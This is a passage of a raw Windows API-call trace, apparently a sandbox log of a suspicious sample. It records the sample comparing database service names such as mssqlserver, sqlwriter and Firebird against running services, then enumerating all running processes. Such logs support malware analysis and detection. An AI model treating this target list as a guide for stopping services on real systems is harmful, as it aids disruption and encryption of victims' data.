lpString2="RpcSs") returned -1 [0153.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0153.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0153.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0153.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0153.461] lstrlenW (lpString="SamSs") returned 5 [0153.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0153.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0153.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0153.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0153.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0153.462] lstrlenW (lpString="Schedule") returned 8 [0153.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0153.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0153.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0153.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0153.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0153.462] lstrlenW (lpString="SecurityHealthService") returned 21 [0153.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0153.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0153.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0153.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0153.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0153.462] lstrlenW (lpString="SENS") returned 4 [0153.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0153.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0153.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0153.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0153.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0153.462] lstrlenW (lpString="ShellHWDetection") returned 16 [0153.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.462] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0153.462] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0153.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0153.462] lstrlenW (lpString="Spooler") returned 7 [0153.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0153.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0153.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0153.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0153.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0153.462] lstrlenW (lpString="SSDPSRV") returned 7 [0153.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0153.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0153.463] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0153.463] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0153.463] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ed478 | out: hHeap=0x790000) returned 1 [0153.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0153.604] Process32FirstW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.605] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0153.606] lstrlenW (lpString="System") returned 6 [0153.606] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0153.606] lstrlenW (lpString="smss.exe") returned 8 [0153.606] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.607] lstrlenW (lpString="csrss.exe") returned 9 [0153.607] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0153.607] lstrlenW (lpString="wininit.exe") returned 11 [0153.607] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.608] lstrlenW (lpString="csrss.exe") returned 9 [0153.608] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0153.609] lstrlenW (lpString="winlogon.exe") returned 12 [0153.609] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0153.609] lstrlenW (lpString="services.exe") returned 12 [0153.609] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0153.610] lstrlenW (lpString="lsass.exe") returned 9 [0153.610] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.610] lstrlenW (lpString="svchost.exe") returned 11 [0153.611] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0153.611] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0153.611] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0153.612] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0153.612] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.612] lstrlenW (lpString="svchost.exe") returned 11 [0153.612] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0153.613] lstrlenW (lpString="dwm.exe") returned 7 [0153.613] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.614] lstrlenW (lpString="svchost.exe") returned 11 [0153.614] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.614] lstrlenW (lpString="svchost.exe") returned 11 [0153.614] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.617] lstrlenW (lpString="svchost.exe") returned 11 [0153.617] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.617] lstrlenW (lpString="svchost.exe") returned 11 [0153.617] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.618] lstrlenW (lpString="svchost.exe") returned 11 [0153.618] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.619] lstrlenW (lpString="svchost.exe") returned 11 [0153.619] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.619] lstrlenW (lpString="svchost.exe") returned 11 [0153.619] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.620] lstrlenW (lpString="svchost.exe") returned 11 [0153.620] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.620] lstrlenW (lpString="svchost.exe") returned 11 [0153.620] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0153.621] lstrlenW (lpString="spoolsv.exe") returned 11 [0153.621] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.622] lstrlenW (lpString="svchost.exe") returned 11 [0153.622] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.623] lstrlenW (lpString="svchost.exe") returned 11 [0153.623] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0153.623] lstrlenW (lpString="audiodg.exe") returned 11 [0153.623] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0153.624] lstrlenW (lpString="sihost.exe") returned 10 [0153.624] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.624] lstrlenW (lpString="svchost.exe") returned 11 [0153.624] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0153.625] lstrlenW (lpString="taskhostw.exe") returned 13 [0153.625] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0153.625] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0153.625] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0153.626] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0153.626] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0153.627] lstrlenW (lpString="explorer.exe") returned 12 [0153.627] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0153.627] lstrlenW (lpString="Memory Compression") returned 18 [0153.627] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0153.628] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0153.628] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0153.629] lstrlenW (lpString="SearchUI.exe") returned 12 [0153.629] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0153.629] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0153.629] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0153.630] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0153.630] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0153.630] lstrlenW (lpString="taskhostw.exe") returned 13 [0153.631] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0153.631] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0153.631] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0153.632] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0153.632] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0153.632] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0153.632] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0153.633] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0153.633] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0153.634] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0153.634] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.634] lstrlenW (lpString="conhost.exe") returned 11 [0153.634] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0153.635] lstrlenW (lpString="screensaver.exe") returned 15 [0153.635] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0153.635] lstrlenW (lpString="upperarc.exe") returned 12 [0153.687] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0153.688] lstrlenW (lpString="buying.exe") returned 10 [0153.688] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0153.689] lstrlenW (lpString="downloadable.exe") returned 16 [0153.689] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0153.689] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0153.689] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0153.690] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0153.690] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0153.690] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0153.690] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0153.691] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0153.691] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0153.692] lstrlenW (lpString="moments.exe") returned 11 [0153.692] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0153.692] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0153.692] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0153.693] lstrlenW (lpString="stream-test.exe") returned 15 [0153.693] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0153.693] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0153.693] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0153.694] lstrlenW (lpString="taskhostw.exe") returned 13 [0153.694] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0153.775] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0153.775] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0153.776] lstrlenW (lpString="movers-indication.exe") returned 21 [0153.776] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0153.776] lstrlenW 